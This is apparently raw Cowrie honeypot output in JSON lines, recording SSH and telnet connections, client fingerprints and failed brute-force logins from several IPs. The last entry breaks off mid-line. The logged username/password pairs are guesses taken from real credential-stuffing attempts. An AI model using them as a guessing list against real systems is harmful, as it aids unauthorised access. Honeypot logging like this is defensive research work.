{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:4f:da:e9:88:5c:4f:c0:d9:99:2e:09:cd:15:c0:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXGJW73oyuCVeJxz7XHyZj0Hlp73F3+DFK0d/fv+0RQ6OcZ8s1E4Qsqd4eA1+FGxWJm08Ghb3I81NDSvO1eY5OlWB20CKcQZ8mF9bO7ZD8tNB9HUCtBUGq3Mcu322zkgeobGY47yH8eUYdjajePH4+2jhJKjXoYBUIBJz1nxRAaJOnHPQ7vgLql+J5nuRVWLTIS8IM/vuGU/i+eYhvO1Z3ixl/tt9OZA27csbQSdIBvGhfnZbLkKsoY1j7M5NPtp7AvzAmQEyQ+SxTjsGWaIt/BvvYcd3Wxkna2hcZNVOuGlFp+YKTgX03saxQZGz+/hX8Z/gGi7oWvSvT1JrkTSy3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.524783Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.567866Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d3c09d3f4d5","protocol":"ssh","message":"New connection: 91.92.42.133:34988 (159.203.135.109:22) [session: 5d3c09d3f4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.203161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.399257Z","src_ip":"91.92.42.133","session":"5d3c09d3f4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.401711Z","src_ip":"91.92.42.133","session":"5d3c09d3f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":59283,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8c51ca38d5","protocol":"ssh","message":"New connection: 112.216.108.62:59283 (159.203.135.109:22) [session: ce8c51ca38d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.506568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.510146Z","src_ip":"112.216.108.62","session":"ce8c51ca38d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:58.706367Z","src_ip":"112.216.108.62","session":"ce8c51ca38d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:59.356097Z","src_ip":"91.92.42.133","session":"5d3c09d3f4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ItsemoemoWashere2026support","message":"login attempt [admin/ItsemoemoWashere2026support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:59.526469Z","src_ip":"112.216.108.62","session":"ce8c51ca38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:00.728373Z","src_ip":"112.216.108.62","session":"ce8c51ca38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:00.836561Z","src_ip":"91.92.42.133","session":"5d3c09d3f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45182,"dst_ip":"159.203.135.109","dst_port":22,"session":"2165d746769e","protocol":"ssh","message":"New connection: 91.92.42.133:45182 (159.203.135.109:22) [session: 2165d746769e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:05.248054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:05.531797Z","src_ip":"91.92.42.133","session":"2165d746769e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:05.534874Z","src_ip":"91.92.42.133","session":"2165d746769e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:06.464483Z","src_ip":"91.92.42.133","session":"2165d746769e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:07.955865Z","src_ip":"91.92.42.133","session":"2165d746769e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.92894959449768,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:08.103919Z","src_ip":"172.81.62.90","session":"191b9cceeab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56630,"dst_ip":"159.203.135.109","dst_port":23,"session":"698ffe02a900","protocol":"telnet","message":"New connection: 107.6.151.170:56630 (159.203.135.109:23) [session: 698ffe02a900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:09.233976Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45284,"dst_ip":"159.203.135.109","dst_port":23,"session":"87737106fceb","protocol":"telnet","message":"New connection: 172.81.62.90:45284 (159.203.135.109:23) [session: 87737106fceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:10.448473Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45232,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a6da43f90d","protocol":"ssh","message":"New connection: 91.92.42.133:45232 (159.203.135.109:22) [session: 72a6da43f90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:11.744028Z"}
{"eventid":"cowrie.session.closed","duration":31.728426694869995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:11.759857Z","src_ip":"172.81.62.90","session":"20045fe6de82","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:12.132441Z","src_ip":"91.92.42.133","session":"72a6da43f90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:12.136409Z","src_ip":"91.92.42.133","session":"72a6da43f90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:13.858474Z","src_ip":"91.92.42.133","session":"72a6da43f90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:15.000322Z","src_ip":"91.92.42.133","session":"72a6da43f90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48180,"dst_ip":"159.203.135.109","dst_port":22,"session":"14bf94d6ef5b","protocol":"ssh","message":"New connection: 91.92.42.133:48180 (159.203.135.109:22) [session: 14bf94d6ef5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:18.923381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:19.325048Z","src_ip":"91.92.42.133","session":"14bf94d6ef5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:19.327997Z","src_ip":"91.92.42.133","session":"14bf94d6ef5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:20.161282Z","src_ip":"91.92.42.133","session":"14bf94d6ef5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:21.448490Z","src_ip":"91.92.42.133","session":"14bf94d6ef5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51914,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d17004b8a5b","protocol":"ssh","message":"New connection: 91.92.42.133:51914 (159.203.135.109:22) [session: 3d17004b8a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:25.707474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:25.935907Z","src_ip":"91.92.42.133","session":"3d17004b8a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:25.939229Z","src_ip":"91.92.42.133","session":"3d17004b8a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":44028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6909cd16dc95","protocol":"ssh","message":"New connection: 45.140.193.156:44028 (10.17.0.5:22) [session: 6909cd16dc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:26.717618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:26.721536Z","src_ip":"45.140.193.156","session":"6909cd16dc95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:26.834978Z","src_ip":"45.140.193.156","session":"6909cd16dc95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"password","message":"login attempt [anna/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:27.330350Z","src_ip":"45.140.193.156","session":"6909cd16dc95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dda7a937fbd","protocol":"telnet","message":"New connection: 94.23.66.112:48540 (10.17.0.5:23) [session: 3dda7a937fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:27.469434Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:27.779469Z","src_ip":"91.92.42.133","session":"3d17004b8a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:28.447694Z","src_ip":"45.140.193.156","session":"6909cd16dc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:28.911082Z","src_ip":"91.92.42.133","session":"3d17004b8a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51964,"dst_ip":"159.203.135.109","dst_port":22,"session":"1230b16d77ff","protocol":"ssh","message":"New connection: 91.92.42.133:51964 (159.203.135.109:22) [session: 1230b16d77ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:33.249443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:33.459785Z","src_ip":"91.92.42.133","session":"1230b16d77ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ss